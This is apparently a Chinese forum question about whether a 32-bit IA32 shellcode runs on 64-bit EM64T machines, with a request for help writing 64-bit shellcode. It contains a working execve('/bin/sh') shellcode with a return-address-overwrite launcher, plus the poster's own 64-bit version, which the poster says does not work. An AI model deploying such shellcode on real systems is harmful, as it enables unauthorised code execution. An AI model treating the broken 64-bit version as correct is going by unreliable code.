|
|
我现在在网上找到了IA32下的shellcode,不知道能否在EM64T机器上运行?(我试了一下是不能运行的),另外,能否讨论一下64位shellcode的编写及验证(我现在写了一个,但是运行时没有生成新的shell,也没有产生任何错误).请大侠指教,谢谢!
IA32的shellcode:
- char shellcode[] =
- "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
- "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
- "\x80\xe8\xdc\xff\xff\xff/bin/sh";
- void main()
- {
- int *ret;
- ret = (int *)&ret + 2;
- (*ret) = (int)shellcode;
- }
复制代码
EM64T下的shellcode(我自己写的,但是不能正常工作):
- char shellcode[] =
- "\xeb\x2a\x5e\x48\x89\x76\x08\x48\x31\xc0\x48\x89"
- "\x46\x07\x48\x89\x46\x0c\xb0\x0b\x48\x89\xf3\x48"
- "\x8d\x4e\x08\x48\x8d\x56\x0c\xcd\x80\x48\x31\xdb"
- "\x48\x89\xd8\x48\xff\xc0\xcd\x80\xe8\xd1\xff\xff/bin/sh";
- int main()
- {
- int *ret;
- ret = (int *)&ret + 2;
- (*ret) = (int)shellcode;
- }
复制代码 |
|